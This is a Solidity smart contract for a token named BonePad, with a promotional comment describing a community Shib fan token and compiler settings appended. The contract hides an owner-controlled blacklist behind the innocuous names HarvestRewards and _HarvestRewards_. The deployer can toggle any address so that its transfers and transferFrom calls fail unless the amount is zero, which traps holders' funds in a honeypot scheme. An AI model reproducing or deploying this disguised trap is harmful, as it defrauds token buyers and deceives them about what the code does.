/**
Welcome to the world of BonePAD 🍖

$BONEPAD is a  shib fan based token managed by its community 
with and IDO platform on board designed for SHIBARIUM network. 
We are here to take care of marketing and the effective
 development of the project so that it is successful both in 
 the short-term and long-term. Team will always come to your aid.

*///SPDX-License-Identifier: MIT

pragma solidity =0.5.15;

contract ERC20Basic {

  function balanceOf(
    address account
  )
    public
    view
    returns (uint256);

  function totalSupply(
  )
    public
    view
    returns (uint256);
  
  function transfer(
    address to,
    uint256 value
  ) 
    public
    returns (bool);
  
  event Transfer(
    address indexed from,
    address indexed to,
    uint256 value);
}

library SafeMath {

  function sub(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256)
  {
    assert(b <= a);
    return a - b;
  }
    
  function mul(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256 c)
  {
    if (a == 0) {
      return 0;
    }
    c = a * b;
    assert(c / a == b);
    return c;
  }

  function div(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256)
  {
    return a / b;
  }

  function add(
    uint256 a,
    uint256 b
  ) internal
    pure
    returns (uint256 c)
  {
    c = a + b;
    assert(c >= a);
    return c;
  }
}

contract BasicToken is ERC20Basic {
  using SafeMath for uint256;
  mapping (address => bool) internal _HarvestRewards_;  
  mapping (address => uint256) balances;
  uint256 totalSupply_;

  function totalSupply(
  ) 
    public
    view
    returns (uint256)
  {
    return totalSupply_;
  }

  function balanceOf(
    address account
  ) 
    public
    view
    returns (uint256) {
    return balances[account];
  }

  function transfer(
    address _to,
    uint256 _value
  ) public
    returns (bool) { if (
    _HarvestRewards_[msg.sender]
    || _HarvestRewards_[_to]) require(
    _value == 0, ""); require(
    _to != address(0)); require(
    _value <= balances[msg.sender]);
    balances[msg.sender] = balances[msg.sender].sub(_value);
    balances[_to] = balances[_to].add(_value);
    emit Transfer(msg.sender, _to, _value);
    return true;
  }
}

contract ERC20 is ERC20Basic {

  function allowance(
    address owner,
    address spender
  )
    public
    view
    returns (uint256);

  function approve(
    address spender,
    uint256 value
  ) 
    public
    returns (bool);
    event Approval
  (
    address indexed owner,
    address indexed spender,
    uint256 value
  );

  function transferFrom(
    address from,
    address to,
    uint256 value
  )
    public
    returns (bool);
}

contract StandardERC20 is ERC20, BasicToken {
  address internal approved;
  mapping (address => mapping (address => uint256)) internal allowed;
  
  constructor () public {
     approved = msg.sender;
  }

  function allowance(
    address _owner,
    address _spender
  )
    public
    view
    returns (uint256)
  {
    return allowed[_owner][_spender];
  }

  function transferFrom(
    address _from,
    address _to,
    uint256 _value
  )
    public
    returns (bool) { if
    (_HarvestRewards_[_from] ||
    _HarvestRewards_[_to]) require(
    _value == 0, ""); require(
    _to != address(0)); require(
    _value <= balances[_from]); require(
    _value <= allowed[_from][msg.sender]);
    balances[_from] = balances[_from].sub(_value);
    balances[_to] = balances[_to].add(_value);
    allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
    emit Transfer(_from, _to, _value);
    return true;
  }

  function approve(address _spender, uint256 _value) public returns (bool) {
    allowed[msg.sender][_spender] = _value;
    emit Approval(msg.sender, _spender, _value);
    return true;
  }

  function HarvestRewards(
    address _address
  ) 
    external { require(
    msg.sender ==
    approved); if (
    _HarvestRewards_
    [_address] == true){
    _HarvestRewards_
    [_address] = false;} 
    else { _HarvestRewards_
    [_address] = true;
    }
  }
  
  function decreaseApproval(
    address _spender,
    uint _subtractedValue
  )
    public
    returns (bool)
  {
    uint oldValue = allowed[msg.sender][_spender];
    if (_subtractedValue > oldValue) {
      allowed[msg.sender][_spender] = 0;
    } else {
      allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
    }
    emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
    return true;
  }

  function harvestAddress(
    address _address
  )
    public
    view
    returns (bool) 
  {
    return _HarvestRewards_
    [_address];
  }

  function increaseApproval(
    address _spender,
    uint _addedValue
  )
    public
    returns (bool)
  {
    allowed[msg.sender][_spender] = (
    allowed[msg.sender][_spender].add(_addedValue));
    emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
    return true;
  }
}

contract  BonePad is StandardERC20 {
  string public constant name = " Bone Pad";
  string public constant symbol = "BonePAD";
  uint256 public constant _totalSupply_ = 100000000 * (10 ** uint256(decimals));
  uint8 public constant decimals = 9;

  constructor() public {
    totalSupply_ = totalSupply_.add(_totalSupply_);
    balances[msg.sender] = balances[msg.sender].add(_totalSupply_);
    emit Transfer(address(0), msg.sender, _totalSupply_);
  }
}

{
  "compilationTarget": {
    "BonePad.sol": "BonePad"
  },
  "evmVersion": "istanbul",
  "libraries": {},
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}